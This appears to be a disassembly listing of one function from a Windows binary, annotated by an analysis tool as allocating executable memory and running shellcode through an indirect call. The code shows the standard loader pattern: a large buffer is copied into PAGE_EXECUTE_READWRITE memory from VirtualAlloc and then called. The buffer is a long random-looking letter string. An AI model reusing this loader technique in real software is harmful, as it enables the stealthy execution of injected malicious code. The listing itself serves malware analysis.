Function at 0x140002770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rdi
push rsi
sub rsp, 0x28
lea rsi, str.mrPpEgVzJuAtYazrjYUwnELzzkaueiSqNfZFyeLbMtkaiAuTNaVYSGxexxSrWqZaDyWtRdgeRwLugkPWyEnauZJMnEJfVpwYDnQQzvUSiewNqvUXXBYSvSJpnpDPGAxWfwAFHzgkQXRYEJSVkYDwYMAnUmpXpSJkhviJcQmMbpaGiYhDxwWggyLeeGTadpUncZPvTKMhjCNnMmpDUpXnZaiYyyXzVnWybMmgPEtZjdCekqTViXeVnVzERFNnganzJMjrLQWmDXkUYvFKFMULJTmPMRWKJviDbwXYPuKtYeHuLWDcLciNZmttQnGEEtjpYhdRYqzpDnamfthCgvUzqQktuYhgibDXKvDDebaWhJeQgucPCrHzVVSVHNGiXxwygcwBaRbXLdqWnEkVJtyCnVUbFTuPCWwgdFEECkEHEyGwxYbnpnNrnigXBXBJiahRuQfWeVjjQpyerRrRxWFytuihkrkicyJXMKBERtMEPWAdbzSXTvCbfhnkbmUKKVBpbmdhQRrDDfTCyLFZjitifXMjHYzGfxqALnWuACLKLSLpNjDLxVCUHuyYiyQEUTBqNjztUMdyYvhmPZtXMjQxJqAfWmrWTyQBRceaZAJqHjZpMfAhmLFnjMGMcBdicJztNXubHANBttnnbHTMwupFfdEbtmmmzEVBYcjyJCqFUytcBxaYRXhJczZVdVgLSFJZZFxakjehXHeSrQFgrmEnGbBRbvJgHXtdEWaCTNKheAwdQdPtKytuCWBfMXBUPeZzjJMuMKYgtdfeCrCwaLMkaLZHHMqgLUJAzXYRFCfVPUvwDhhtwCtCTadfWvHBAFdNeLvfQDEKZHAnXJRwDApGGWtjYRCEgmgcgqwbmCrrPdhGyWDRjjhrEEuuSJtLKAFpbzdzpKncZJQvXmFRtmwMkYFmiDbXZdEKUACWfKniihhRLZbvDURhdmLWdKSdajwhbhJTPRMLnLuiXnjudxhaBKmDKfbuxyTvSaBdnncxJaqWwCWrDmfvbbGfgJSBjfhkvCRLujhXUzaxWqtcJkdYJCGnPNdMraaKMUjMfgyzHQWQDtUfuMWjYtvpdzcycuQkymWZEcFpbbLhYnSCrJRiqdkNSrLqmSthSupyDmGcfQxpXTwfyEaQSDfLeFLhmmWnDnvYELxPFFkCUKExpbwreFbZAcXYnzQPTVupUHmrbfPeBpFuLnuvGhwfwdZpGqYFnFfbhUVzZcjyAirncxKubdzNcYHZTAWLXSpqtMnQPmMQdMMaqtfevnDVuhUGSNPuUGWkcRnWQAtVtHzHAmFgGnkGnCRrkfKdhwyapkBdfnRvdyJPGQCKakFFapSmTRaFTdXTPSThxHiXJADASvUMbRfzaEnAmtXEYqRpbKCdeuFznEeHhPMGSqZBjezzbRixenHiGSmmFQVfwYPxRujuEiAMTJztjQTKHbuiKdUpbbMzcQrgJuVZwZqjKCPeNHWzRUiiwQnmcqeVmPRYtQQUjLJLPZmQMcRpLNSarkBumZFzpUXeGDySvcGiCpEPSYUzZeFjfUVbDhNkYxKchEZrNeJtGRkkTZwCJDAwxCnzdPAHKgYYqhwcwMxiqiqMBwNviKPZYXFpKxwPvYmaaERtxJMBTmSXyCHDPKxLuvDwDcSAuEAhKWjJPRxaGgePDTihcvVmfDNaQvBhkkidgybYLZKuaTJTzQfkNJmXFJVvLMhEPKZEJGtYkEhdMTGZWYZZUdaVRRqqkBhLWChzdgcMaAmLKgajSxVdyzAjHtECBWCUPtPWLBkRPPfWtmNGQvzqkxxWnFEWzfNqMdvbypUDQPfZASCKxAhBYZVgkBZmxdWZNMxYxmUAFJtzqzUEmwbHKkprEYVuUuzDySPhnKfLepRTgQQdSGTnFQYpqGCxyUjwpdmcBrFwMEkXFVRExhLFdUMNeGvWrUjMNVZWKrEwHrrJHPkNrthCWVEmmrVYpHMdhgQpTzaidXrYEmuLiKJCzLwwkZQTBPWmFMzAxwBdMGEBbdwJZFJtYbTtztCmNEFibBZQJNfXhHtEUtZeEXLxZKTLRntHQvpZZFYhrHQUSpBSYpKCAzZxcLBFfMDNShhFwtUyvERrEEtaWBSHZVDUyVTkcYRdALFiWSkiyChbqfWncwgYYHKRMYNYPVBBFBPgnaiDQLEzSauwpyknMbrLSWFYXXfftZtSkyLWykNCepkQWYAbHHBhfahVqgiMEVMrvLnPgPxTMntByAHKpiNFSiGgJFXTqpkYWeMVCnjCLaMkHYvULnimCTUBdjGFDzFFHRnDeXpxEaKvXKCXTcRpwcWyMZwhxTKYTrWaaWQNgUhXAjbbWgiSyWWBAzzPNDJYZTWCYrBvxJbZArxRLUwnTZEqdQiRzwynrpJbQaCumXtpzzAQmgqgJjQXjMbFkpTXDRvehqeYBdAjznuxuyNqPDnHyNbZnjbTVDwuZRzEVYnTETUnBBQKEaAMuVcunmtpKLwqMxpvzJuVjaFNiKNyqLPpXCAqHqZaxcRxNDvrZqiQygJPvdtfgxBVkdPaYnqLBXLDhKuHYexDvJVMmdirUBFBiyyiQEnfwgrUzpGENbLvuhNrkfWQQSNBzuHQKgkeSgujUCLgjHBiDvNKwFvaQZqahNUVKFUDWnJKDdthqYQdAerwSnifqQgFtFtigFrSRvgQfABpiNjBmAFAnJfZrmvXkVndwFRjWyPTDRWxJeYSEvDETFLqpEyLtWeumMiUSKYkimqqUUCBKHvgZvLFedinpdPCGXrFRppGkdYrfWGQzAZtueTugyWfUdubTJHbRQvczViWDCYYghANwmwQQLfGCMDfMUdBuWrzDKYPCrcLgvPCDjaMvpfmGtAXzqLtHyWtBbQnyZkhfGyWdWCqZQJUiSLjVAcrHGSTPhVpUUhudJHLwTSYwVdTLLTzUzcPStfJWwufELXUJfxeTktgmkqXzFSurTrjzGDTYqpTwezyaaTEkXzEFVhBKGDkjhiQaKmfWzuJcGdCDHQBbWieyvbpHNZQgkAbgDyxZHxEVxeeAFKNfGzwXnkwhpgDNUKVJtEbYRfPauyHJPURkVANSptBkQNmjnfMPYeqzfbvJBuxwBZjNTTVJDQBjMGvpGDyyauXQbpvanHeJtiqqLfzyEyiNNZRadbdfgvxnpgvPKZziWgCgpGPfKCVPxncfaepBfneejmMWdxugnffkWKeJLUivTxnRnFyRNPvWHdVkJPYSVymcDGhRupxankbenJGSgYEzmGWUvcZTZAmGtdPGuSfeNpHPYAJnUAiiGKakzdwFyvGGdUnvxMYatpcMdeabMKrLpwLeBTCKhPQYHxCDzhzDprBRcBHbwfzwzPJmGCqbneWqWfJSPxTNdKVERFLtGtmiZuACULprHktVpLRwHFMCnYQYvxkvXmGDkKDpzYPEvFkjyvBrHpdXbpxwPAFRufCtcqDdKQXkaNKWywUnQeQFFKQpNKaRdfEyAGHYgQMVJdrEcbqFKBmkXHFBiyQghEwQrbABnqAUjrkDGCQFxxBuQfMPWqNiygHGcSgKhEPuhBPxdZpFJJXxVtwuMEFQqVqbNYVrGeGMdUVewVpQGBQdRQjbudxWaegXLBGKKnXnYfHtQXLPFpPKtKcVCCTfZCxRZnJuVrKcUGUCNdDvWFygVpyzBuHRWWSzJpitQDQHDaaAGPGkUVfFtaBHTtYjHRSZCVbjXnvHBFGdWidHuEzqHLtCuuegpapffuAcPECxApxNwVxUdEmiTmiBamkSjPevUkDPuCfXkbmVuFNvyjPkyNmhWtCmgSSQtQAhSuhdbjHmtdQbiLprXQztfWjWpFRkxnUSvNxkerbRLSeVyVqixmYTZYRRLHhVUPFNyYZqMcdinPHLTgRAMXzEfPBgRAuBPAuWcSCiCUtDYXGgHNCdNxyHQKbAHNVHVWrHEBwkdHDhUUihPAAcAJWyVuzHEjprWZqGWixGCZbSpxMKGMgUSxVbdZFSFfEbjrcbvptAAqLLeQuRpznWBwuqzchehzGYJwmWjXFJDcZhqjKJnDnXVuiCezqPgkQDnJPTgbdZjPfgPJCGAHvnbuHNPBdJegNtmvyjWFdhJRSWtVL
call fcn.140001630
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov edx, 0x989681
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x989681
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
call rax
xor eax, eax
add rsp, 0x28
pop rsi
pop rdi
ret